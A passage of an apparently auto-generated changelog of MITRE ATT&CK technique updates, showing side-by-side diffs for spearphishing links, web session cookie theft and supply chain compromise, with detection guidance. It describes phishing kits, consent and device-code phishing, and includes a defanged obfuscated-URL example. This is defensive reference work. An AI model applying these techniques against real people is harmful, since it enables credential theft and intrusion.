+Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionInternet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
x_mitre_version1.11.2
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Outpost24', 'description': 'Stijn Vande Casteele. (2025, March 31). How to analyze metadata and hide it from hackers. Retrieved July 2, 2025.', 'url': 'https://outpost24.com/blog/metadata-hackers-best-friend/'}

[T1598.003] Phishing for Information: Spearphishing Link

Current version: 1.7

Version changed from: 1.6 → 1.7

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may send spearphishing messages with a malicioust1Adversaries may send spearphishing messages with a malicious
> link to elicit sensitive information that can be used durin> link to elicit sensitive information that can be used durin
>g targeting. Spearphishing for information is an attempt to >g targeting. Spearphishing for information is an attempt to 
>trick targets into divulging information, frequently credent>trick targets into divulging information, frequently credent
>ials or other actionable information. Spearphishing for info>ials or other actionable information. Spearphishing for info
>rmation frequently involves social engineering techniques, s>rmation frequently involves social engineering techniques, s
>uch as posing as a source with a reason to collect informati>uch as posing as a source with a reason to collect informati
>on (ex: [Establish Accounts](https://attack.mitre.org/techni>on (ex: [Establish Accounts](https://attack.mitre.org/techni
>ques/T1585) or [Compromise Accounts](https://attack.mitre.or>ques/T1585) or [Compromise Accounts](https://attack.mitre.or
>g/techniques/T1586)) and/or sending multiple, seemingly urge>g/techniques/T1586)) and/or sending multiple, seemingly urge
>nt messages.  All forms of spearphishing are electronically >nt messages.  All forms of spearphishing are electronically 
>delivered social engineering targeted at a specific individu>delivered social engineering targeted at a specific individu
>al, company, or industry. In this scenario, the malicious em>al, company, or industry. In this scenario, the malicious em
>ails contain links generally accompanied by social engineeri>ails contain links generally accompanied by social engineeri
>ng text to coax the user to actively click or copy and paste>ng text to coax the user to actively click or copy and paste
> a URL into a browser.(Citation: TrendMictro Phishing)(Citat> a URL into a browser.(Citation: TrendMictro Phishing)(Citat
>ion: PCMag FakeLogin) The given website may be a clone of a >ion: PCMag FakeLogin) The given website may be a clone of a 
>legitimate site (such as an online or corporate login portal>legitimate site (such as an online or corporate login portal
>) or may closely resemble a legitimate site in appearance an>) or may closely resemble a legitimate site in appearance an
>d have a URL containing elements from the real site. URLs ma>d have a URL containing elements from the real site. URLs ma
>y also be obfuscated by taking advantage of quirks in the UR>y also be obfuscated by taking advantage of quirks in the UR
>L schema, such as the acceptance of integer- or hexadecimal->L schema, such as the acceptance of integer- or hexadecimal-
>based hostname formats and the automatic discarding of text >based hostname formats and the automatic discarding of text 
>before an “@” symbol: for example, `hxxp://google.com@115758>before an “@” symbol: for example, `hxxp://google.com@115758
>6937`.(Citation: Mandiant URL Obfuscation 2023)  Adversaries>6937`.(Citation: Mandiant URL Obfuscation 2023)  Adversaries
> may also embed “tracking pixels”, "web bugs", or "web beaco> may also embed “tracking pixels,” "web bugs," or "web beaco
>ns" within phishing messages to verify the receipt of an ema>ns" within phishing messages to verify the receipt of an ema
>il, while also potentially profiling and tracking victim inf>il, while also potentially profiling and tracking victim inf
>ormation such as IP address.(Citation: NIST Web Bug) (Citati>ormation such as IP address.(Citation: NIST Web Bug)(Citatio
>on: Ryte Wiki) These mechanisms often appear as small images>n: Ryte Wiki) These mechanisms often appear as small images 
> (typically one pixel in size) or otherwise obfuscated objec>(typically one pixel in size) or otherwise obfuscated object
>ts and are typically delivered as HTML code containing a lin>s and are typically delivered as HTML code containing a link
>k to a remote server. (Citation: Ryte Wiki)(Citation: IAPP) > to a remote server.(Citation: Ryte Wiki)(Citation: IAPP)  A
> Adversaries may also be able to spoof a complete website us>dversaries may also be able to spoof a complete website usin
>ing what is known as a "browser-in-the-browser" (BitB) attac>g what is known as a "browser-in-the-browser" (BitB) attack.
>k. By generating a fake browser popup window with an HTML-ba> By generating a fake browser popup window with an HTML-base
>sed address bar that appears to contain a legitimate URL (su>d address bar that appears to contain a legitimate URL (such
>ch as an authentication portal), they may be able to prompt > as an authentication portal), they may be able to prompt us
>users to enter their credentials while bypassing typical URL>ers to enter their credentials while bypassing typical URL v
> verification methods.(Citation: ZScaler BitB 2020)(Citation>erification methods.(Citation: ZScaler BitB 2020)(Citation: 
>: Mr. D0x BitB 2022)  Adversaries can use phishing kits such>Mr. D0x BitB 2022)  Adversaries can use phishing kits such a
> as `EvilProxy` and `Evilginx2` to perform adversary-in-the->s `EvilProxy` and `Evilginx2` to perform adversary-in-the-mi
>middle phishing by proxying the connection between the victi>ddle phishing by proxying the connection between the victim 
>m and the legitimate website. On a successful login, the vic>and the legitimate website. On a successful login, the victi
>tim is redirected to the legitimate website, while the adver>m is redirected to the legitimate website, while the adversa
>sary captures their session cookie (i.e., [Steal Web Session>ry captures their session cookie (i.e., [Steal Web Session C
> Cookie](https://attack.mitre.org/techniques/T1539)) in addi>ookie](https://attack.mitre.org/techniques/T1539)) in additi
>tion to their username and password. This may enable the adv>on to their username and password. This may enable the adver
>ersary to then bypass MFA via [Web Session Cookie](https://a>sary to then bypass MFA via [Web Session Cookie](https://att
>ttack.mitre.org/techniques/T1550/004).(Citation: Proofpoint >ack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Hu
>Human Factor)  Adversaries may also send a malicious link in>man Factor)  Adversaries may also send a malicious link in t
> the form of Quick Response (QR) Codes (also known as “quish>he form of Quick Response (QR) Codes (also known as “quishin
>ing”). These links may direct a victim to a credential phish>g”). These links may direct a victim to a credential phishin
>ing page.(Citation: QR-campaign-energy-firm) By using a QR c>g page.(Citation: QR-campaign-energy-firm) By using a QR cod
>ode, the URL may not be exposed in the email and may thus go>e, the URL may not be exposed in the email and may thus go u
> undetected by most automated email security scans.(Citation>ndetected by most automated email security scans.(Citation: 
>: qr-phish-agriculture) These QR codes may be scanned by or >qr-phish-agriculture) These QR codes may be scanned by or de
>delivered directly  to a user’s mobile device (i.e., [Phishi>livered directly  to a user’s mobile device (i.e., [Phishing
>ng](https://attack.mitre.org/techniques/T1660)), which may b>](https://attack.mitre.org/techniques/T1660)), which may be 
>e less secure in several relevant ways.(Citation: qr-phish-a>less secure in several relevant ways.(Citation: qr-phish-agr
>griculture) For example, mobile users may not be able to not>iculture) For example, mobile users may not be able to notic
>ice minor differences between genuine and credential harvest>e minor differences between genuine and credential harvestin
>ing websites due to mobile’s smaller form factor.  From the >g websites due to mobile’s smaller form factor.  From the fa
>fake website, information is gathered in web forms and sent >ke website, information is gathered in web forms and sent to
>to the adversary. Adversaries may also use information from > the adversary. Adversaries may also use information from pr
>previous reconnaissance efforts (ex: [Search Open Websites/D>evious reconnaissance efforts (ex: [Search Open Websites/Dom
>omains](https://attack.mitre.org/techniques/T1593) or [Searc>ains](https://attack.mitre.org/techniques/T1593) or [Search 
>h Victim-Owned Websites](https://attack.mitre.org/techniques>Victim-Owned Websites](https://attack.mitre.org/techniques/T
>/T1594)) to craft persuasive and believable lures.>1594)) to craft persuasive and believable lures.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:10:59.931000+00:002025-10-24 17:48:34.880000+00:00
descriptionAdversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. + +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) + +Adversaries may also embed “tracking pixels”, "web bugs", or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP) + +Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022) + +Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor) + +Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. + +From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. + +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) + +Adversaries may also embed “tracking pixels,” "web bugs," or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)(Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.(Citation: Ryte Wiki)(Citation: IAPP) + +Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022) + +Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor) + +Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. + +From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
x_mitre_detectionMonitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.
x_mitre_version1.61.7

[T1566.002] Phishing: Spearphishing Link

Current version: 2.8

Version changed from: 2.7 → 2.8

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may send spearphishing emails with a malicious lt1Adversaries may send spearphishing emails with a malicious l
>ink in an attempt to gain access to victim systems. Spearphi>ink in an attempt to gain access to victim systems. Spearphi
>shing with a link is a specific variant of spearphishing. It>shing with a link is a specific variant of spearphishing. It
> is different from other forms of spearphishing in that it e> is different from other forms of spearphishing in that it e
>mploys the use of links to download malware contained in ema>mploys the use of links to download malware contained in ema
>il, instead of attaching malicious files to the email itself>il, instead of attaching malicious files to the email itself
>, to avoid defenses that may inspect email attachments. Spea>, to avoid defenses that may inspect email attachments. Spea
>rphishing may also involve social engineering techniques, su>rphishing may also involve social engineering techniques, su
>ch as posing as a trusted source.  All forms of spearphishin>ch as posing as a trusted source.  All forms of spearphishin
>g are electronically delivered social engineering targeted a>g are electronically delivered social engineering targeted a
>t a specific individual, company, or industry. In this case,>t a specific individual, company, or industry. In this case,
> the malicious emails contain links. Generally, the links wi> the malicious emails contain links. Generally, the links wi
>ll be accompanied by social engineering text and require the>ll be accompanied by social engineering text and require the
> user to actively click or copy and paste a URL into a brows> user to actively click or copy and paste a URL into a brows
>er, leveraging [User Execution](https://attack.mitre.org/tec>er, leveraging [User Execution](https://attack.mitre.org/tec
>hniques/T1204). The visited website may compromise the web b>hniques/T1204). The visited website may compromise the web b
>rowser using an exploit, or the user will be prompted to dow>rowser using an exploit, or the user will be prompted to dow
>nload applications, documents, zip files, or even executable>nload applications, documents, zip files, or even executable
>s depending on the pretext for the email in the first place.>s depending on the pretext for the email in the first place.
>  Adversaries may also include links that are intended to in>  Adversaries may also include links that are intended to in
>teract directly with an email reader, including embedded ima>teract directly with an email reader, including embedded ima
>ges intended to exploit the end system directly. Additionall>ges intended to exploit the end system directly. Additionall
>y, adversaries may use seemingly benign links that abuse spe>y, adversaries may use seemingly benign links that abuse spe
>cial characters to mimic legitimate websites (known as an "I>cial characters to mimic legitimate websites (known as an "I
>DN homograph attack").(Citation: CISA IDN ST05-016) URLs may>DN homograph attack").(Citation: CISA IDN ST05-016) URLs may
> also be obfuscated by taking advantage of quirks in the URL> also be obfuscated by taking advantage of quirks in the URL
> schema, such as the acceptance of integer- or hexadecimal-b> schema, such as the acceptance of integer- or hexadecimal-b
>ased hostname formats and the automatic discarding of text b>ased hostname formats and the automatic discarding of text b
>efore an “@” symbol: for example, `hxxp://google.com@1157586>efore an “@” symbol: for example, `hxxp://google.com@1157586
>937`.(Citation: Mandiant URL Obfuscation 2023)  Adversaries >937`.(Citation: Mandiant URL Obfuscation 2023)  Adversaries 
>may also utilize links to perform consent phishing, typicall>may also utilize links to perform consent phishing/spearphis
>y with OAuth 2.0 request URLs that when accepted by the user>hing campaigns to [Steal Application Access Token](https://a
> provide permissions/access for malicious applications, allo>ttack.mitre.org/techniques/T1528)s that grant immediate acce
>wing adversaries to  [Steal Application Access Token](https:>ss to the victim environment. For example, a user may be lur
>//attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro>ed into granting adversaries permissions/access via a malici
> Pawn Storm OAuth 2017) These stolen access tokens allow the>ous OAuth 2.0 request URL that when accepted by the user pro
> adversary to perform various actions on behalf of the user >vide permissions/access for malicious applications.(Citation
>via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishi>: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAu
>ng 2021)  Adversaries may also utilize spearphishing links t>th 2.0 Consent Phishing 2021) These stolen access tokens all
>o [Steal Application Access Token](https://attack.mitre.org/>ow the adversary to perform various actions on behalf of the
>techniques/T1528)s that grant immediate access to the victim> user via API calls.(Citation: Microsoft OAuth 2.0 Consent P
> environment. For example, a user may be lured through “cons>hishing 2021)  Similarly, malicious links may also target de
>ent phishing” into granting adversaries permissions/access v>vice-based authorization, such as OAuth 2.0 device authoriza
>ia a malicious OAuth 2.0 request URL .(Citation: Trend Micro>tion grant flow which is typically used to authenticate devi
> Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consen>ces without UIs/browsers. Known as “device code phishing,” a
>t Phishing 2021)  Similarly, malicious links may also target>n adversary may send a link that directs the victim to a mal
> device-based authorization, such as OAuth 2.0 device author>icious authorization page where the user is tricked into ent
>ization grant flow which is typically used to authenticate d>ering a code/credentials that produces a device token.(Citat
>evices without UIs/browsers. Known as “device code phishing,>ion: SecureWorks Device Code Phishing 2021)(Citation: Netsko
>” an adversary may send a link that directs the victim to a >pe Device Code Phishing 2021)(Citation: Optiv Device Code Ph
>malicious authorization page where the user is tricked into >ishing 2021)
>entering a code/credentials that produces a device token.(Ci 
>tation: SecureWorks Device Code Phishing 2021)(Citation: Net 
>skope Device Code Phishing 2021)(Citation: Optiv Device Code 
> Phishing 2021) 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:10:41.326000+00:002025-10-24 17:48:34.123000+00:00
descriptionAdversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. + +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. + +Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) + +Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021) + +Adversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through “consent phishing” into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) + +Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. + +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. + +Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) + +Adversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) + +Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)
x_mitre_detectionURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. + +Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
x_mitre_version2.72.8

[T1539] Steal Web Session Cookie

Current version: 1.5

Version changed from: 1.4 → 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Access', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:12:39.075000+00:002025-10-24 17:48:25.272000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.
x_mitre_version1.41.5
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsDon Le, Stifel Financial

[T1195] Supply Chain Compromise

Current version: 1.7

Version changed from: 1.6 → 1.7

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may manipulate products or product delivery mecht1Adversaries may manipulate products or product delivery mech
>anisms prior to receipt by a final consumer for the purpose >anisms prior to receipt by a final consumer for the purpose 
>of data or system compromise.  Supply chain compromise can t>of data or system compromise.  Supply chain compromise can t
>ake place at any stage of the supply chain including:  * Man>ake place at any stage of the supply chain including:  * Man
>ipulation of development tools * Manipulation of a developme>ipulation of development tools * Manipulation of a developme
>nt environment * Manipulation of source code repositories (p>nt environment * Manipulation of source code repositories (p
>ublic or private) * Manipulation of source code in open-sour>ublic or private) * Manipulation of source code in open-sour
>ce dependencies * Manipulation of software update/distributi>ce dependencies * Manipulation of software update/distributi
>on mechanisms * Compromised/infected system images (multiple>on mechanisms * Compromised/infected system images (removabl
> cases of removable media infected at the factory)(Citation:>e media infected at the factory)(Citation: IBM Storwize)(Cit
> IBM Storwize)(Citation: Schneider Electric USB Malware)  * >ation: Schneider Electric USB Malware)  * Replacement of leg
>Replacement of legitimate software with modified versions * >itimate software with modified versions * Sales of modified/
>Sales of modified/counterfeit products to legitimate distrib>counterfeit products to legitimate distributors * Shipment i
>utors * Shipment interdiction  While supply chain compromise>nterdiction  While supply chain compromise can impact any co
> can impact any component of hardware or software, adversari>mponent of hardware or software, adversaries looking to gain
>es looking to gain execution have often focused on malicious> execution have often focused on malicious additions to legi
> additions to legitimate software in software distribution o>timate software in software distribution or update channels.
>r update channels.(Citation: Avast CCleaner3 2018)(Citation:>(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 
> Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targ>2018)(Citation: Command Five SK 2011) Adversaries may limit 
>eting may be specific to a desired victim set or malicious s>targeting to a desired victim set or distribute malicious so
>oftware may be distributed to a broad set of consumers but o>ftware to a broad set of consumers but only follow up with s
>nly move on to additional tactics on specific victims.(Citat>pecific victims.(Citation: Symantec Elderwood Sept 2012)(Cit
>ion: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3>ation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)
> 2018)(Citation: Command Five SK 2011) Popular open source p> Popular open-source projects that are used as dependencies 
>rojects that are used as dependencies in many applications m>in many applications may also be targeted as a means to add 
>ay also be targeted as a means to add malicious code to user>malicious code to users of the dependency.(Citation: Trendmi
>s of the dependency.(Citation: Trendmicro NPM Compromise)>cro NPM Compromise)  In some cases, adversaries may conduct 
 >“second-order” supply chain compromises by leveraging the ac
 >cess gained from an initial supply chain compromise to furth
 >er compromise a software component.(Citation: Krebs 3cx over
 >view 2023) This may allow the threat actor to spread to even
 > more victims.  

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Sensor Health: Host Status', 'File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:13:41.905000+00:002025-10-24 17:48:41.675000+00:00
descriptionAdversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. + +Supply chain compromise can take place at any stage of the supply chain including: + +* Manipulation of development tools +* Manipulation of a development environment +* Manipulation of source code repositories (public or private) +* Manipulation of source code in open-source dependencies +* Manipulation of software update/distribution mechanisms +* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) +* Replacement of legitimate software with modified versions +* Sales of modified/counterfeit products to legitimate distributors +* Shipment interdiction + +While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. + +Supply chain compromise can take place at any stage of the supply chain including: + +* Manipulation of development tools +* Manipulation of a development environment +* Manipulation of source code repositories (public or private) +* Manipulation of source code in open-source dependencies +* Manipulation of software update/distribution mechanisms +* Compromised/infected system images (removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) +* Replacement of legitimate software with modified versions +* Sales of modified/counterfeit products to legitimate distributors +* Shipment interdiction + +While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Adversaries may limit targeting to a desired victim set or 